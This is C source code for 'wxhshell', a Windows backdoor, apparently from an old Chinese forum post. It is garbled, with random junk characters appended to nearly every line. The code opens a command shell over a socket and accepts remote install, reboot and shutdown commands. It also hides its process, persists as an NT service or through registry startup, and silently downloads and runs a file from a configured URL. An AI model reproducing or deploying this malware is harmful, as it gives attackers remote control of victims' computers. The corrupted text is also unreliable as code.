  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~Yr.0i.W  
  else (> 8fcQUBb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N@A#e/8  
  } i5AhF\7F9  
  else { .4^Paxz  
3[e@mcO  
    switch(cmd[0]) { st+Kz uK  
  BryMq !  
  // 帮助 {K|{a  
  case '?': { ~(&xBtg:}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jWoo{+=D  
    break; P{qn@:  
  } Zv-6H*zM6  
  // 安装 k,@1rOf  
  case 'i': { mWGT (`|~/  
    if(Install()) pD>3c9J'^F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); []Fy[G.)H  
    else kh5V&%>?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d")r^7  
    break; 8WyG49eic  
    } S`l CynGH  
  // 卸载 P,%|(qB  
  case 'r': { .9ROa#7U;n  
    if(Uninstall()) S3=J1R,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,2cw9?<  
    else +Rh'VZJs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZU@V]+ww  
    break; |aVv Lz  
    } z[k2&=c  
  // 显示 wxhshell 所在路径 DMf9wB  
  case 'p': { :heJ5* !,  
    char svExeFile[MAX_PATH]; A%2!Hr  
    strcpy(svExeFile,"\n\r"); l%U9g  
      strcat(svExeFile,ExeFile); tou^p-)GQ|  
        send(wsh,svExeFile,strlen(svExeFile),0); y7w>/7q  
    break; ^{Vm,nAQqs  
    } cbteNA!>  
  // 重启 2 43DdIG$  
  case 'b': { "*T)L<G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [cH/Y2[  
    if(Boot(REBOOT)) {otvJ |'N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '*-SvA\Cx  
    else { 4Cfwz-Qo  
    closesocket(wsh); @%TQ/L^|  
    ExitThread(0); ECSC,oJ  
    } K:Ap|F  
    break; m:^@AR1%d  
    } %*/[aq,#  
  // 关机 6%'{Cq1DE  
  case 'd': { mrbIoN==`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ydFY<Mb(o  
    if(Boot(SHUTDOWN)) >:xnjEsi$/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >2|#b  
    else { [L\w] 6  
    closesocket(wsh); "s*{0'jo  
    ExitThread(0); !kIw835U  
    } 4v!@9.!vQ  
    break; 6JL 7ut  
    } af_zZf!0  
  // 获取shell 4R0_%x6vG  
  case 's': { t"L:3<U7  
    CmdShell(wsh); j[HKC0C6  
    closesocket(wsh); 42C:cl} ."  
    ExitThread(0); ZD<,h` lZ  
    break; *dQRs6  
  } J\%:jg( m  
  // 退出 d-* 9tit  
  case 'x': { J^XH^`'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hw7_8pAbh  
    CloseIt(wsh); A1@-;/H3  
    break; -Rvxjy)[N  
    } .dfTv/n  
  // 离开 226s:\d  
  case 'q': { &l.^UQ   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @N(jd($E  
    closesocket(wsh); Dxe|4"%^  
    WSACleanup(); }Q%>Fv  
    exit(1); L=p.@VSZ  
    break; +-Dd*yD6<  
        } c`>\R<Z ]  
  } nqH^%/7)A@  
  } dOhV`8l  
-`RJ k(  
  // 提示信息 0{ ,zE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s%:fB(  
} y >OZ<!`  
  } MPB6  
zZxP= c  
  return; <|8 l;  
} }J*&()`  
^4[\-L8Lpq  
// shell模块句柄 NqWHR~&  
int CmdShell(SOCKET sock) oY] VP+b!  
{ 7Y)wu$!7}  
STARTUPINFO si; ,VZ&Gc  
ZeroMemory(&si,sizeof(si)); 8x{vgx @M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b'OO~>86  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !69^ kIi$  
PROCESS_INFORMATION ProcessInfo; 1D`RR/g&  
char cmdline[]="cmd"; {7wvC)WW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7m jj%  
  return 0; QA3l:D}u  
} KZE.}8^%D  
2eK\$_b_  
// 自身启动模式 e!8_3BE  
int StartFromService(void) R*y[/Aw  
{ .~8+s.y  
typedef struct W(8g3  
{ {aL$vgYT1  
  DWORD ExitStatus; :}-u`K*  
  DWORD PebBaseAddress; yI%> w4Z  
  DWORD AffinityMask; EzyIsp> _  
  DWORD BasePriority; G225Nz;Y*  
  ULONG UniqueProcessId; <8bO1t^*  
  ULONG InheritedFromUniqueProcessId; 9JtvHUkO  
}   PROCESS_BASIC_INFORMATION; N|j. @K  
RmQt%a7\{  
PROCNTQSIP NtQueryInformationProcess; %8tN$8P  
 )L!R~F C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '2tEKVb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cg.e(@(  
vraU&ze\1  
  HANDLE             hProcess; q+z\Y?  
  PROCESS_BASIC_INFORMATION pbi; ;!}SgzSH}  
v;Dcq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z:hrrq9  
  if(NULL == hInst ) return 0; NQJqS?^W&M  
:6/OU9f/R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #R8l"]fxr?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L1xD$wl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5:d2q<x:{  
5{a( +'  
  if (!NtQueryInformationProcess) return 0; vw]nqS~N  
 =s]{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9vTQ^*b m  
  if(!hProcess) return 0; 8_m9CQ6 i  
tb{{oxa,k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QT$1D[>  
=QfKDA  
  CloseHandle(hProcess); aX%Zuyny  
hN53=X:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?>8zU;Aj  
if(hProcess==NULL) return 0; #[W[ |m  
UT~2}B9fc  
HMODULE hMod; E, fp=.  
char procName[255]; nc~d*K\!  
unsigned long cbNeeded; @,&m`qzd+  
@>@Nu g2   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QL2y,?Mz7  
3R*@m  
  CloseHandle(hProcess); X-,y[ )  
LwPM7S~ *  
if(strstr(procName,"services")) return 1; // 以服务启动 cv4M[]U~  
S7/v ,E  
  return 0; // 注册表启动 \,!q[nC  
} f ti|3c  
1^#Q/J,  
// 主模块 Bqi2n'^O2  
int StartWxhshell(LPSTR lpCmdLine) *`-29eR"8  
{ zjS:;!8em  
  SOCKET wsl; F\R}no5C  
BOOL val=TRUE; cOZ^huK  
  int port=0; }hitU(5t0  
  struct sockaddr_in door; J\+gd%  
b6Hk20+B;  
  if(wscfg.ws_autoins) Install(); <M?#3&5A  
mtQ{6u  
port=atoi(lpCmdLine); $jm<' 4  
\,gZNe&Vv  
if(port<=0) port=wscfg.ws_port; -!>ZATL<B  
bMZn7c  
  WSADATA data; g <4M!gi  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Sc$wR{W<:  
i{ @'\}{L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +i#sS19h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '?gI cWM  
  door.sin_family = AF_INET; w%dIe!sV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &] F|U3  
  door.sin_port = htons(port); Ti|++oC/&  
}!<cph  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F` 5/9?;|  
closesocket(wsl); %Dls36F  
return 1; .0E4c8R\X  
} by]|O  
)UZ0gfx  
  if(listen(wsl,2) == INVALID_SOCKET) { x5z4Yv^ m  
closesocket(wsl); Fg\| e%  
return 1; nYy}''l<  
} ';\gR/L  
  Wxhshell(wsl); <GgtP55  
  WSACleanup(); u?3NBc$~A  
AJ` v  
return 0; 50GYL5)q  
)R)$T'  
} 1R%`i '$/  
W}2 &Pax  
// 以NT服务方式启动 L sDzV)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )g:,_1s)|  
{ $`5lvy^  
DWORD   status = 0; I,<54? vS  
  DWORD   specificError = 0xfffffff; <S8W~ wC  
o+_/)c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iQzX-a|4]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T[XP\!z]B!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QS [B  
  serviceStatus.dwWin32ExitCode     = 0; "gvw0)  
  serviceStatus.dwServiceSpecificExitCode = 0; h@,e`Z  
  serviceStatus.dwCheckPoint       = 0; IO!1|JMr6  
  serviceStatus.dwWaitHint       = 0; )=E~CpKV  
,J (5@8(>a  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T$^>Fiz{Se  
  if (hServiceStatusHandle==0) return; $#7J\=GZ+  
4%fN\f  
status = GetLastError(); y{`(|,[  
  if (status!=NO_ERROR) @>Ghfh>~D  
{ &:;;u\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f;Bfh3  
    serviceStatus.dwCheckPoint       = 0; a][pTC\rb  
    serviceStatus.dwWaitHint       = 0; %-ZR~*  
    serviceStatus.dwWin32ExitCode     = status; (}FW])y  
    serviceStatus.dwServiceSpecificExitCode = specificError; {y&\?'L'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mfngbFa1  
    return; Cl9SPz  
  } [7e{=\`=  
hD$p;LF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &V#zkW  
  serviceStatus.dwCheckPoint       = 0; B)"#/@!bHH  
  serviceStatus.dwWaitHint       = 0; &:DCtjK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G/fP(o-Wd  
} (~G5t(+  
1<W4>~,wj  
// 处理NT服务事件,比如:启动、停止 V5u}C-o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I mPu}  
{ N[,VSO&  
switch(fdwControl) {UdcX~\~  
{ xTJ Sr2f  
case SERVICE_CONTROL_STOP: T/GgF&i3  
  serviceStatus.dwWin32ExitCode = 0; '9-axIj70  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;]gsJ9FK<  
  serviceStatus.dwCheckPoint   = 0; obAs<nk  
  serviceStatus.dwWaitHint     = 0; Mhb '^\px  
  { stg30><  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O t *K+^I  
  } YY#s=  
  return; !,? <zg  
case SERVICE_CONTROL_PAUSE: c<=`<!FS[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5)d,G9  
  break; xb =8t!  
case SERVICE_CONTROL_CONTINUE: 5JBB+g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >JKnGeF  
  break; xvwD3.1  
case SERVICE_CONTROL_INTERROGATE: ),cQUB  
  break; MkG`w,  
}; k9}Q7)@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t] r,9df'  
} UF&0 & `@  
Vs_\ykO  
// 标准应用程序主函数 35Ai;mU'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) je&dioZ>  
{ I~\O  
/d0Q>v.g  
// 获取操作系统版本 T} n N=Q4  
OsIsNt=GetOsVer(); ^>N8*=y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /S:w&5e  
Ur'9bl{5  
  // 从命令行安装 fL ~1  
  if(strpbrk(lpCmdLine,"iI")) Install(); %f3c7\=C  
==%`e/~Y  
  // 下载执行文件 Km6Ub?/7o  
if(wscfg.ws_downexe) { W(;x\Nc7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S~+O` y^  
  WinExec(wscfg.ws_filenam,SW_HIDE); x96qd%l/  
} k$ZRZ{ E+  
@%6)^]m}r  
if(!OsIsNt) { 3jvx2  
// 如果时win9x,隐藏进程并且设置为注册表启动 $ q%mu  
HideProc(); @ SU8\:(U  
StartWxhshell(lpCmdLine); kUNj4xp)  
} WMW1B }Z3  
else an3~'g?  
  if(StartFromService()) xDR9_  
  // 以服务方式启动 yC0C`oC  
  StartServiceCtrlDispatcher(DispatchTable); 1TKEm9j]u  
else L ;6b+I  
  // 普通方式启动 8]S,u:E:N  
  StartWxhshell(lpCmdLine); 7=}6H3|&  
a "R7JjH  
return 0; 7$!yfMttu  
}
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只看该作者 1 发表于: 2006-10-10
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